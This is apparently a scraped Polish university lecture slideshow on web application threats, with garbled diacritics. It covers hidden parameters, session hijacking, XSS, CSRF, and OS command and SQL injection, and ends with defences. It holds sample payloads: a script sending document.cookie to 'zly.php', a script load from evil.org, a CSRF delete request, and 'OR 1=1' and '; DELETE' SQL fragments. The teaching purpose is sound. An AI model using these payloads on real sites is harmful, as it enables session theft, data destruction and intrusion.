Zagro enia aplikacji internetowych. Dr in. Marek Mi osz



Podobne dokumenty
Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

Ajax a bezpieczeństwo aplikacji webowych. Jakub Wierzgała

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Dworakowski. Wojciech. Zagrożenia i metody ataku. Aplikacje internetowe -

Drobne błędy w portalach WWW

CGI i serwlety. Plan wykładu. Wykład prowadzi Mikołaj Morzy. Przykład: serwlety vs. szablony. Implementacja logiki prezentacji

PERSON Kraków

SpedCust 5 instrukcja instalacji

Wymiana du ych plików instrukcja dla klientów Grontmij Polska Sp z o. o.

Microsoft Windows GDI

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

The OWASP Foundation Session Management. Sławomir Rozbicki.

Microsoft Management Console

epuap Ogólna instrukcja organizacyjna kroków dla realizacji integracji

Protokół DHCP. Patryk Czarnik. Bezpieczeństwo sieci komputerowych MSUI 2009/10. Wydział Matematyki, Informatyki i Mechaniki Uniwersytet Warszawski

Instrukcja programu PControl Powiadowmienia.

API transakcyjne BitMarket.pl

Konfiguracja poczty. Konfiguracja poczty w Outlook (pakiet Microsoft Office)

Zdalne odnawianie certyfikatów do SWI

Opis instalacji systemu Intranet Komunikator

Pracownia internetowa w każdej szkole. Opiekun pracowni internetowej SBS 2003 PING

Kancelaris - Zmiany w wersji 2.50

Aplikacje WWW Wprowadzenie

Robaki sieciowe. Wstęp Instalacja w systemie Kanały dystrybucji Ogólny schemat Przykłady robaków Literatura

Poniżej instrukcja użytkowania platformy

Automatyzacja procesu publikowania w bibliotece cyfrowej

POLITYKA PRYWATNOŚCI SKLEPU INTERNETOWEGO

Projektowani Systemów Inf.

INFORMATOR TECHNICZNY WONDERWARE

Aplikacje WWW. Wykład 13. Zagrożenia bezpieczeństwa aplikacji WWW. wykład prowadzi: Maciej Zakrzewicz. Zagrożenia bezpieczeństwa

Krakowska Akademia im. Andrzeja Frycza Modrzewskiego. Karta przedmiotu. obowiązuje studentów, którzy rozpoczęli studia w roku akademickim 2013/2014

OWASP OWASP. The OWASP Foundation Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

Logowanie do mobilnego systemu CUI i autoryzacja kodami SMS

System Informatyczny CELAB. Przygotowanie programu do pracy - Ewidencja Czasu Pracy

System kontroli wersji SVN

Języki skryptowe - PHP. PHP i bazy danych. Paweł Kasprowski. pawel@kasprowski.pl. vl07

Technologie internetowe Internet technologies Forma studiów: Stacjonarne Poziom kwalifikacji: I stopnia. Liczba godzin/tydzień: 2W, 2L

Uniwersytet Rzeszowski

emszmal 3: Automatyczne księgowanie przelewów w sklepie internetowym Magento (plugin dostępny w wersji ecommerce)

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

Regulamin Usługi Certyfikat SSL. 1 Postanowienia ogólne

Systemy mikroprocesorowe - projekt

Polityka prywatności i wykorzystywania plików cookies w serwisie internetowym mateuszgrzesiak.tv

Aplikacje internetowe i rozproszone - laboratorium

Standard aplikacji WWW Urzędu Miasta Olsztyna

Komunikacja w sieci Industrial Ethernet z wykorzystaniem Protokołu S7 oraz funkcji PUT/GET

Co nowego w systemie Kancelaris 3.31 STD/3.41 PLUS

Programowanie w Internecie

Strona główna góra

Protokół HTTP. 1. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

TIN Techniki Internetowe zima

Formularz rzeczowo-cenowy PAKIET 2

GEO-SYSTEM Sp. z o.o. GEO-RCiWN Rejestr Cen i Wartości Nieruchomości Podręcznik dla uŝytkowników modułu wyszukiwania danych Warszawa 2007

Bezpieczeństwo systemów komputerowych

Instrukcja obsługi platformy zakupowej e-osaa (klient podstawowy)

Pierwsze kroki. Krok 1. Uzupełnienie danych własnej firmy

Języki programowania wysokiego poziomu. PHP cz.3. Formularze

Programowanie w internecie nazwa przedmiotu SYLABUS A. Informacje ogólne

VLAN Ethernet. być konfigurowane w dowolnym systemie operacyjnym do ćwiczenia nr 6. Od ćwiczenia 7 należy pracować ć w systemie Linux.

enova Workflow Obieg faktury kosztowej

Spis treści. Rozdział 1 ewyniki. mmedica - INSTR UKC JA UŻYTKO W NIKA

Współczesne serwisy internetowe. Wykład 1 Dr Krzysztof Podlaski

Spis treści INTERFEJS (WEBSERVICES) - DOKUMENTACJA TECHICZNA 1

Aplikacje internetowe Przegl¹d zagro eñ

Tomasz Greszata - Koszalin

emszmal 3: Automatyczne księgowanie przelewów w menedżerze sprzedaży BaseLinker (plugin dostępny w wersji ecommerce)

Instalacja. Zawartość. Wyszukiwarka. Instalacja Konfiguracja Uruchomienie i praca z raportem Metody wyszukiwania...

Aplikacje internetowe oparte na kluczowych technologiach Java Enterprise(Servlet,JSP,JDBC, )

REGULAMIN INTERNETOWEJ OBSŁUGI KLIENTA

6. Bezpieczeństwo przy współpracy z bazami danych

INFORMATOR TECHNICZNY WONDERWARE

Przekształcenie danych przestrzennych w interaktywne mapy dostępne na stronach www (WARSZTATY, poziom podstawowy)

Logowanie do systemu Faktura elektroniczna

Regulamin serwisu internetowego ramowka.fm

REGULAMIN PRZESYŁANIA I UDOSTĘPNIANIA FAKTUR W FORMIE ELEKTRONICZNEJ E-FAKTURA ROZDZIAŁ 1. I. Postanowienia ogólne

Instrukcja Obsługi STRONA PODMIOTOWA BIP

Bazy danych i strony WWW

dbsamples.udl lub przygotowany wcześniej plik dla Excela) i OK,

Aby ułatwić współdzielenie oferty noclegowej w różnych obiektach oraz agregatorach ofert i zestandaryzować ten proces

Zarządzanie Zasobami by CTI. Instrukcja

Instrukcja zarządzania systemem informatycznym służącym do przetwarzania danych osobowych

I. INSTALACJA BAZY DANYCH ORACLE10g EXPRESS EDITION

Pracownia internetowa w ka dej szkole (edycja 2004)

Marcin Werla

KONFIGURACJA PRZEGLĄDAREK

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

WYKŁAD 1 SYSTEMY CMS CZĘŚĆ 1

Internetowe bazy danych

Integracja systemów, integracja procesów

Śrubka zamykająca Uchwyt ścienny Przycisk kontrolny Lampka kontrolna

MUltimedia internet Instrukcja Instalacji

Spis treści 1. Wstęp 2. Projektowanie systemów informatycznych

Bazy danych II. Andrzej Grzybowski. Instytut Fizyki, Uniwersytet Śląski

Opis obsługi systemu Ognivo2 w aplikacji Komornik SQL-VAT

Wdrożenie modułu płatności eservice dla systemu Virtuemart 2.0.x

s FAQ: 13/PL Data: 29/01/2012

Konfiguracja współpracy urządzeń mobilnych (bonowników).

PS IMAGO 3.0 /// instrukcja instalacji

Transkrypt:

Zagro enia aplikacji internetowych Dr in. Marek Mi osz

Plan Aplikacja internetowa Proste zagro enia Ukryte parametry na stronie Manipulacje parametrami (doklejanie, zmiana cie ki) Wstrzykiwanie (ang. Injection) zawarto ci (tre ci, HTML, kodu programowego i SQL) Ataki na sesje (c) M.Mi osz 2

Aplikacja internetowa Dynamiczne strony WWW Kod wykonywany na serwerze Manipulowanie danymi przez klienta Wspó praca z serwerem bazy danych i innych us ug Komunikacja z klientem przy pomocy protoko u http (https) Dane pobierane przy pomocy formularzy HTML i przesy ane metod GET lub POST Klient standardowa przegl darka WWW (c) M.Mi osz 3

Aplikacja internetowa - architektura Przegl darka.ini Klient Statyczne strony Multimedia Serwer WWW.ini Serwer Aplikacja Programy Serwer aplikacji.ini BD Serwer BD.ini Inne serwery.ini (c) M.Mi osz 4

Przyk ady technologii CGI Common Gateway Interface (uruchamianie skryptów zwykle w Perlu, Phyton, PHP czy VB, polece SO) ASP - Active Server Pages (MS, VB Script lub C#); obecni e ASP.NET JSP Java Server Pages J2EE (JSP/ Servlet/EJB) Oracle 9i PHP (c) M.Mi osz 5

Wzrost zagro e Powszechna dost pno aplikacji Anonimowi klienci Przeno no oprogramowania Stosowanie standardów (ogólnie znanych) Wysoki poziom abstrakcj i danych Jawno kodu (HTML, JavaScript) Skomplikowane j zyki programowania oraz konfiguracje wykonawcze (np. MySQL serwer + PHP parser + Apache + pliki HTML, CSS i inne) (c) M.Mi osz 6

Jeden z problem ów Konieczno utrzymania sesji w bezstanowym pr otokole http Rozwi zania: Ukryte pola w formularzach Parametry wywo ania (stan sesji po stronie serwera, ale Id po stronie klienta) Cookies IP, MAC Wszystko po stroni e klienta ;-( (c) M.Mi osz 7

Proste zagro enia Nazewnictwo plików ( atwe do odgadni cia -> pobrania poza aplikacj ), np. form_11.html http://www.codeguru.pl/article-515.aspx Stare wersje plików (mo liwo pobrania bez wykonani a; np. plik.jsp a plik.jsp.old) Istotne informacje w komentarzach kodu HTML (automat ycznie wstawiane przez narz dzia, programistów, znaczniki META) <!-- <P align="center"><a href="askbillgates.aspx"> <IMG alt="zapytaj Billa Gatesa!" src="img/askbillgmonitor.jpg" border="0"></a></p> --> (w CodeGuru ;-)) (c) M.Mi osz 8

R czne pobranie (c) M.Mi osz 9

Badanie rodowiska wst p do ataku Analiza ród a (HEAD, OPTI ONS, META) Analiza zwracanych b dów (np. 404) Analiza komunikatów na nieznany typ pliku (np. asp czy exe) Zmiana danych wej ciowych w celu wywo ania b du skryptu (c) M.Mi osz 10

Strona z b dem Error 404 wykladowcy.wspa.edu.pl Wed Jan 2 09:28:56 2008 Apache (c) M.Mi osz 11

Ukryte parametry Zapami tywanie zmiennych po stroni e klienta: <input type="hidden" name="nr" value="3335w" /> Niewidoczne na formul arzach ale widoczne w tek cie ród owym Zapami tywanie istotnych danych -> zagro enie (c) M.Mi osz 12

Ukryte parametry - modyfikacja GET adres w przegl darce ( atwa zmiana); warto ci max. 100 znaków; struktura: URL?name=value&name=value POST (dla d ugich warto ci zmiennych lub nie- ASCII): Zapisanie pliku HT ML, zmiana warto ci ukrytego parametru i uruchomienie pliku Zastosowanie lokalnego proxy, modyfikuj cego w locie ruch HTML (c) M.Mi osz 13

Lokalne proxy Dzia a lokalnie na stacji intruza Adres 127.0.0.1 i port proxy nale y skonfigurowa w przegl darce Przechwytuje i modyfikuje ruch w locie Najbardziej znany: www.webproxy.com (zablokowane), ale Odysseus (dost pny min. www.bindshell.net/tools/odysseus) (c) M.Mi osz 14

Doklejanie parametr ów Odgadni cie/podejrzenie nazwy zmiennej Brak inicjacji zmiennej w kodzie Doklejenie jej w linii lub przez proxy Przyk ad: http://serwer/login.php?login=x&pass=y&czyok=ok KOD: if (sprawdz_w_bazie($login, $pass)) {$czyok= OK }; if ($czyok == OK ) { JEST OK } else { BŁĄD }; (c) M.Mi osz 15

Obs uga sytuacji specjalnych Wszystkie wyj tki/b dy/b dne dane powinny by obs u one przez aplikacj Sytuacja specjalna np. brak parametru lub niew a ciwy format danych parametru lub niew a ciwa warto (poza zakresem) Mo liwo zaburzenia pracy aplikacji (logiki lub unieruchomienie) (c) M.Mi osz 16

Cookies (1) Czym s? Pliki tekstowe przechowywane u klienta (konieczno udost pnienia opcji zapisu) Przechowuj (nazwa+warto ) dane: Nazwa ciasteczka Domena Czas wa no ci (uwaga na zegar klienta!) Inne (aplikacja) Zapis na danie serwera: Set-Cookie: nazwa=wartość; expires=data; path=ścieżka; domain=domena; secure Przyk ad: eprawniktrackingd1ca0080273ad8e676db26cc6d1463e5eprawnik.pl/prawo/153637831567362991998412206135202 9901880* (c) M.Mi osz 17

Cookies (2) Cookies powinny by dost pne tylko dla danego serwera (ale...) Mo na przechwytywa i modyfikowa przy pomocy lokalnego proxy Mo na pozyska ID sesji lub domy li si innego ID sesji -> wznowi lub przej sesj Mo na modyfikowa parametry (najcz ciej flaga/status autoryzacji klient a), np.: setcookie( autoryzacja, tak ) Modyfikowa cookies mo na te w przypadku protoko u SSL (lokalne proxy realizuje przej cie, atak man in the middle ) (c) M.Mi osz 18

Man in the middle SSL(1) Brak szyfrowania 127.0.0.1 SSL(2) Przegl darka Klient Lokalne proxy Serwer (c) M.Mi osz 19

Podszycie si pod sesj Wymagana jest znajomo identyfikatora sesji (tokena) Zwykle w cookie, ale te w parametrze GET/POST lub ukrytym polu w FORM Sk d? Pods ucha Przewidzie Ukra Mo na omin mechanizmy autentykacji klienta przej cie lub wznowienie sesji (np. administratora aplikacji) (c) M.Mi osz 20

Token Losowy nieprzewidywalny Ograniczony czasowo by unikn mo liwo ci brutalnego ataku Dostatecznie d ugi - by unikn mo liwo ci brutalnego ataku oraz losowego odgadni cia Zale ny od IP klienta by uniemo liwi wznowienie Szyfrowany (cooki przez SSL) by ograniczy mo liwo przechwycenia (c) M.Mi osz 21

Sk d pochodzi? W wi kszo ci przypadków z API (np. parsera PHP): JSESSIONID (JSP), PHPSESSID (PHP), ASPSESSIONID (Microsoft ASP) Niektóre API maj /mia y przewidywalne algorytmy (np. IBM WebSphere 4.0) ;-( (c) M.Mi osz 22

Wstrzykiwanie (ang. Injection) Niechciane przekazanie nieoczekiwanych danych do aplikacji Wstrzykni cie: Niechcianej tre ci Kodu HTML/skryptu Polecenia syst emu operacyjne go Polecenia SQL (c) M.Mi osz 23

Wstrzykni cie tre ci Wprowadzenie tre ci niepo danej do serwisu (wulgaryzmy, seks, nazi zm itp.) Klasyczny problem ró nego typu forów, ankiet otwartych, ocen produkt ów itp. Walka: R czna moderacja (trudna i kosztowna) Przeszukiwanie s ownikowe (ma o efektywne dla sprytnych wandali) (c) M.Mi osz 24

Wstrzykni cie kodu HTML Atak na innego u ytkownika przez napastnika z wykorzystaniem aplikacji internetowej jako nosiciela Istota: Wykonanie kodu HTML (cz sto w po czeniu ze skryptem) przez przegl dark ofiary Mo liwy kiedy aplikacja pobiera dane i je publikuje bez nale ytego sprawdzenia Cross-Site Scripting (XSS) skrypty (klient ufa apl) Cross-Site Request Forgeries (CSRF/XRF) wykorzystanie w a ciwo ci http, pobieranie sk adników strony (apl. ufa klientowi) (c) M.Mi osz 25

Proste wstrzykni cie HTML Wykorzystanie znaczników HTML: Przypadkowe zepsucie strony (zapomnienie wsta wienia zamykaj cego znacznika lub znaku spacjalnego) Wykorzystanie <FORM> do pobrania danych od klienta Nieoczekiwane dla klienta przej cia do innej strony: <a href= http://www.zla.strona.pl > Zobacz </a> Wywo anie skryptu bez wied zy administratora (napastnik pozostawia, a admin na swoje sesji uruchami a) - CSRF: <IMG src="admin.php?delete=13"> <IMG style="display: none;" src="admin.php?delete=13"> Ukrycie komunikatu braku obrazu (c) M.Mi osz 26

Pomy ka <TR> <TD colspan=2 bgcolor="#ffffcc"> <font size="2"> <b> Pomy ka Wiadomo : <br> </b> <a href=" > co </a></font> </TD> </TR> <TR> <TD colspan=2> <form method="post" name="form2" action="news.php?action=usun " style="font-size: 10px"> Przycisk nieaktywny (c) M.Mi osz 27

Rezultat wstawienia <a> (c) M.Mi osz 28

Wstrzykiwanie znak ów Wstawianie niedozwolonych znaków do URI (standard: Uniform Resource Identifiers (URI): Generic Syntax, http://www.ietf.org/rfc/rfc2396.txt ), URL: Zarezerwowanych: ; /? : @ & = + $, Steruj cych: ENTER, Esc, Null Znaczników: <> Kodowanie procentowe: %cc (c- cyfra heksadecymalna), np. %20 SPACE (ASCII kod: 32), a % koduj e si jako %25 Wielokrotne kodowani e, np. %255c daje / to samo: %25%3 5%63 (c) M.Mi osz 29

Wstrzykni cie skryptu Wykorzystanie znaczników <SCRIPT>, <OBJECT>, <A PPLET> czy <EMBED> Przyk ady: Hello World! <SCRIPT>zły kod</script> Hello World! <EMBED SRC="http://www.paedophile.com/rape.mov"> <A HREF="http://trusted.org/search.cgi?criteria=<SCRIPT SRC='http://evil.org/badkama.js'></SCRIPT>"> Go to trusted.org</a> (c) M.Mi osz 30

Inne wstrzykni cia z ego kodu Wykorzystanie zdarze w interfejsie: <b onmouseover="self.location.href='http://ev il.org/'"> bolded text</b> Wywo anie b du i zwrot kodu: http://trusted.org/<script>code</script> (c) M.Mi osz 31

Przyk ad b du Warning: unlink(/home/wspa/www/wykladowcy.wspa.edu.pl/wykladowc a/pliki/marekm/upload/./nowy_) [function.unlink]: No such file or directory in /home/wspa/www/wykladowcy.wspa.edu.pl/wykladowca/pl iki/marekm/wykladowca.php on line 523 Warning: rmdir(/home/wspa/www/wykladowcy.wspa.edu.pl/wykladowc a/pliki/marekm/upload/./2005-6_sesja_zimowa/) [function.rmdir]: Directory not empty in /home/wspa/www/wykladowcy.wspa.edu.pl/wykladowca/ pliki/marekm/wykladowca.php on line 517 (c) M.Mi osz 32

XCC kradzie Cookies Po stronie serwera: <SCRIPT type="text/javascript"> var adr = 'zly.php?ciasteczka=' + escape(document.cookie); var obr = '<IMG src="' + adr + '">'; document.write(obr); </SCRIPT> U klienta (po wykonaniu skryptu): <IMG src= zly.php?ciasteczka=zawartość_cookie > Otwarcie strony powoduje automatyczne przes anie Cookie oraz akcj zly.php (np. zapisanie Cookie oraz odes anie rysunku) Escape() zamienia znaki specjalne na %nn (wys anie URI) Pobranie Cookie Wpisanie warto ci zmiennej obr (c) M.Mi osz 33

Atak CSRF na lokaln aplikacj (c) M.Mi osz 34 Shiflett C.: Foiling Cross-Site Attacks, PHP Architect nr 10/2003

Wstrzykni cie polecenia SO Aplikacja przekazuje do klienta parametry do wywo ania systemowego: Funkcji API Polecenia SO Je li parametry nie s sprawdzone przed wywo aniem to mo na: Doklei swoje parametry Wywo a swoje polecenie SO (np. exec(), system()) (c) M.Mi osz 35

Przyk ad <HTML> <?php passthru ( " /home/user/metoda ". $_GET['USER_INPUT'] );?> Mo na: Wykona polecenie SO (dir, copy czy ld) Wykona ci g polece, wykorzystuj c: Nadpisa plik na serwerze: > plik Ochrona: escapeshellarg() escapeshellcmd() (c) M.Mi osz 36

Wstrzykni cie SQL Atak na warstw danych Przyczyna: Brak weryfikacji parametrów przekazywanych od klienta do aplikacji Konstrukcja zapyta SQL poprzez sklejanie statycznego kodu SQL z warto ciami parametrów Przyk ad: $sql= select * from pytania where id=$id ; $wynik = mysql_query($sql); A co je li by o wcze niej: $id=$_get[ user_input ]; I podano: 1 or 1=1 (c) M.Mi osz 37

Typowe ataki Niekontrolowany dost p do danych: UNION SELECT Zmiana logiki dzia ania aplikacji: OR 1=1 Wykonanie wielu polece z jednej linii (nie we wszystkich SZBD jest to mo liwe, MS SQL Server - tak) usuni cie, modyfikacja danych (dowolne polecenie SQL): ; DELETE * FROM ; UPDATE (c) M.Mi osz 38

Przyk ad Kod: $sql= select count(*) from uwierz where uzytkownik=$uzytkownik. and haslo=$haslo ; Zmienna $uzytkownik= jakis a $haslo z formularza ma warto : OK OR 1=1 Wynikowe zapytanie: select count(*) from uwierz where uzytkownik=jakis AND haslo=ok OR 1=1; (c) M.Mi osz 39

GOOGLE hacking (1) Obej cie zabezpiecze przez roboty: [PDF] Projektowanie aplikacji J2EE w architekturze Model-View-Controller Format pliku: PDF/Adobe Acrobat - Wersja HTML JSP. (View). Klasa. zewnętrzna. (Model). 1. 3. 5. Serwlet. (Controller). 2. 4. 4. Rys. 1. Schemat przykładowej aplikacji w architekturze MVC... www.ploug.org.pl/konf_05/materialy/pdf/03.pdf - Podobne strony Pobranie 03.pdf i wszystkich: 01.pdf, 02.pdf, Ale www.ploug.org.pl/konf_05/materia y/pdf daje: Forbidden You don't have permission to access /konf_05/materialy/pdf/ on this server. Apache Server at www.ploug.org.pl Port 80 (c) M.Mi osz 40

GOOGLE hacking http://www.eioba.pl/a75243/google_hacking_zar ys_problemu Komunikaty b dów: Warning: mysql_query() [function.mysql-query]: Unable to save result set in /www/pasjagsm_www/www/forum/db/mysql4.php on line 148 Critical Error! message_die() was called multiple times. Error #1 Could not obtain common word list Line : 323 File : /www/pasjagsm_www/www/forum/includes/functions_search.php SQL : SELECT word_id FROM phpbb_search_wordmatch GROUP BY word_id HAVING COUNT(word_id) > 37040 SQL message: MySQL server has gone away Error #2 Error doing DB query: pw count fetch Line : 1759 File : /www/pasjagsm_www/www/forum/includes/page_header.php SQL : SELECT COUNT(*) AS pw_count FROM phpbb_privmsgs pm WHERE pm.privmsgs_to_userid = 4605 AND pm.privmsgs_type <> 2 GROUP BY pm.privmsgs_to_userid SQL message: MySQL server has gone away Please, contact the Administrator. Thank you. (c) M.Mi osz 41

Ochrona aplikacji (1) Ograniczenie odpowiedzi serwera z parametrami klienta (zamiast: Witaj Marek mo na: Witaj U ytkowniku) Ograniczenie d ugo ci odpowiedzi klienta (ograniczenie od strony klienta d ugo ci a cucha ale te sprawdzenie w aplikacji) Filtrowanie i usuni cie gro nych znaków (szczególnie < i >, ale te i, czy ;) ale uwaga na specyficzne kody, np. < to te /x3c, ew. zamiana znaków < na &lt (w ASP: HTMLEncode() w PHP: htmlentities() ) (c) M.Mi osz 42

Ochrona aplikacji (2) Analiza warto ci parametrów wej ciowych (otrzymywanych od klienta) i wyj ciowych (publikowanych na stronie lub zapisywanych do BD) Analiza sk adni i blokowanie niepo danych znaczników, szczególnie <SCRIPT> i <EMBED>, <OBJECT> U ycie metody POST w formularzach Weryfikacja cookies przed u yciem (i kontrola czasu trwania sesji) (c) M.Mi osz 43

Ochrona aplikacji (3) Wygenerowanie identyfikatora sesji na stronie wej ciowej i kontrola na pozosta ych, cz sto zawiera sum kontrolna IP klienta, np. http://trusted.org/app.jsp?session=h3uf8309a i9.830988 w tym przypadku serwer utrzymuje stan sesji (demarkacja sesji, klient dostarcza ID parametr lub cookie) Dok adna znajomo specyfikacji/standardów sieciowych Precyzyjne ustawienia parametrów serwerów, parserów i SO (c) M.Mi osz 44

Ochrona aplikacji - architektura Wprowadzenie kontrolera obs uguj cego ca o komunikacji z klientem Wprowadzenie jednorazowego tokena zapobiega duplikacji przesy anych danych, przechwycenia sesji itp. (musi zaistnie zgodno tokena z wys anym w poprzednim pliku) Separacja warstw: biznesowej i prezentacji, a tak e danych Ukrycie zasobów przed klientem (c) M.Mi osz 45

Zabezpiecz swoj aplikacj Wiedza to umo liwi